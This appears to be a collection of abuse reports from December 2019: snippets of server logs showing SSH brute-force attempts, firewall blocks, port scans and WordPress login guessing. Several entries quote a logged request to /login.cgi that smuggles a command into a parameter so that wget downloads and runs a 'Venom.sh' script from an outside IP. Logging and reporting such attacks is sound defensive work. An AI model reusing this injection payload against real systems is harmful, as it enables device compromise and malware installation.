Dec 23 05:04:21 linuxvps sshd\[7842\]: Invalid user drewes from 181.191.241.6
Dec 23 05:04:21 linuxvps sshd\[7842\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.191.241.6
Dec 23 05:04:23 linuxvps sshd\[7842\]: Failed password for invalid user drewes from 181.191.241.6 port 52441 ssh2
Dec 23 05:10:41 linuxvps sshd\[12048\]: Invalid user animals from 181.191.241.6
Dec 23 05:10:41 linuxvps sshd\[12048\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.191.241.6

Dec 23 02:13:44 wbs sshd\[11295\]: Invalid user silas from 221.120.236.50
Dec 23 02:13:44 wbs sshd\[11295\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.120.236.50
Dec 23 02:13:46 wbs sshd\[11295\]: Failed password for invalid user silas from 221.120.236.50 port 25425 ssh2
Dec 23 02:22:09 wbs sshd\[12103\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=221.120.236.50  user=root
Dec 23 02:22:11 wbs sshd\[12103\]: Failed password for root from 221.120.236.50 port 14210 ssh2

Dec 23 13:11:56 MK-Soft-VM5 sshd[24549]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=152.32.216.210 
Dec 23 13:11:58 MK-Soft-VM5 sshd[24549]: Failed password for invalid user dbadmin from 152.32.216.210 port 47750 ssh2
...

Dec 23 07:25:36 debian-2gb-nbg1-2 kernel: \[735083.843018\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=110.25.93.43 DST=195.201.40.59 LEN=44 TOS=0x08 PREC=0x20 TTL=45 ID=2041 PROTO=TCP SPT=51010 DPT=5555 WINDOW=30846 RES=0x00 SYN URGP=0

1577082353 - 12/23/2019 07:25:53 Host: 49.147.119.33/49.147.119.33 Port: 445 TCP Blocked

firewall-block, port(s): 22414/tcp, 22651/tcp, 22653/tcp

Automatic report - Port Scan Attack

2019-12-23T09:16:49.781559abusebot-6.cloudsearch.cf sshd[8168]: Invalid user adminadmin from 178.128.226.2 port 48838
2019-12-23T09:16:49.786976abusebot-6.cloudsearch.cf sshd[8168]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.128.226.2
2019-12-23T09:16:49.781559abusebot-6.cloudsearch.cf sshd[8168]: Invalid user adminadmin from 178.128.226.2 port 48838
2019-12-23T09:16:51.966735abusebot-6.cloudsearch.cf sshd[8168]: Failed password for invalid user adminadmin from 178.128.226.2 port 48838 ssh2
2019-12-23T09:21:35.596371abusebot-6.cloudsearch.cf sshd[8215]: Invalid user grosch from 178.128.226.2 port 50990
2019-12-23T09:21:35.602422abusebot-6.cloudsearch.cf sshd[8215]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.128.226.2
2019-12-23T09:21:35.596371abusebot-6.cloudsearch.cf sshd[8215]: Invalid user grosch from 178.128.226.2 port 50990
2019-12-23T09:21:37.711858abusebot-6.cloudsearch.cf sshd[8215
...

2019-12-23T09:39:28.763322abusebot-7.cloudsearch.cf sshd[7453]: Invalid user thresia from 199.195.251.227 port 55160
2019-12-23T09:39:28.768565abusebot-7.cloudsearch.cf sshd[7453]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=199.195.251.227
2019-12-23T09:39:28.763322abusebot-7.cloudsearch.cf sshd[7453]: Invalid user thresia from 199.195.251.227 port 55160
2019-12-23T09:39:30.847739abusebot-7.cloudsearch.cf sshd[7453]: Failed password for invalid user thresia from 199.195.251.227 port 55160 ssh2
2019-12-23T09:47:24.211087abusebot-7.cloudsearch.cf sshd[7463]: Invalid user cstrc93 from 199.195.251.227 port 44360
2019-12-23T09:47:24.216481abusebot-7.cloudsearch.cf sshd[7463]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=199.195.251.227
2019-12-23T09:47:24.211087abusebot-7.cloudsearch.cf sshd[7463]: Invalid user cstrc93 from 199.195.251.227 port 44360
2019-12-23T09:47:26.310435abusebot-7.cloudsearch.cf ss
...

1 attack on wget probes like:
156.219.115.49 - - [22/Dec/2019:04:17:07 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11

Dec 23 08:27:36 grey postfix/smtpd\[10992\]: NOQUEUE: reject: RCPT from nod.sapuxfiori.com\[63.80.184.145\]: 554 5.7.1 Service unavailable\; Client host \[63.80.184.145\] blocked using truncate.gbudb.net\; http://www.gbudb.com/truncate/ \[63.80.184.145\]\; from=\ to=\ proto=ESMTP helo=\
...

Dec 23 02:25:48 wildwolf wplogin[3670]: 206.189.153.181 informnapalm.org [2019-12-23 02:25:48+0000] "POST /wp/wp-login.php HTTP/1.1" "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "" "123321"
Dec 23 02:25:49 wildwolf wplogin[1815]: 206.189.153.181 informnapalm.org [2019-12-23 02:25:49+0000] "POST /wp/xmlrpc.php HTTP/1.1" "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "admin" ""
Dec 23 02:42:57 wildwolf wplogin[7618]: 206.189.153.181 informnapalm.org [2019-12-23 02:42:57+0000] "POST /blog/wp-login.php HTTP/1.1" "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "roman" "q1w2e3r4"
Dec 23 02:43:00 wildwolf wplogin[9335]: 206.189.153.181 informnapalm.org [2019-12-23 02:43:00+0000] "POST /blog/wp-login.php HTTP/1.1" "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "irina" ""
Dec 23 02:43:07 wildwolf wplogin[8011]: 206.189.153.181 informnapa........
------------------------------

1 attack on wget probes like:
156.218.108.35 - - [22/Dec/2019:17:27:36 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11

Dec 23 09:54:23 * sshd[1833]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=164.177.42.33
Dec 23 09:54:25 * sshd[1833]: Failed password for invalid user ssh from 164.177.42.33 port 59199 ssh2

1 attack on wget probes like:
156.211.233.242 - - [22/Dec/2019:07:58:01 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11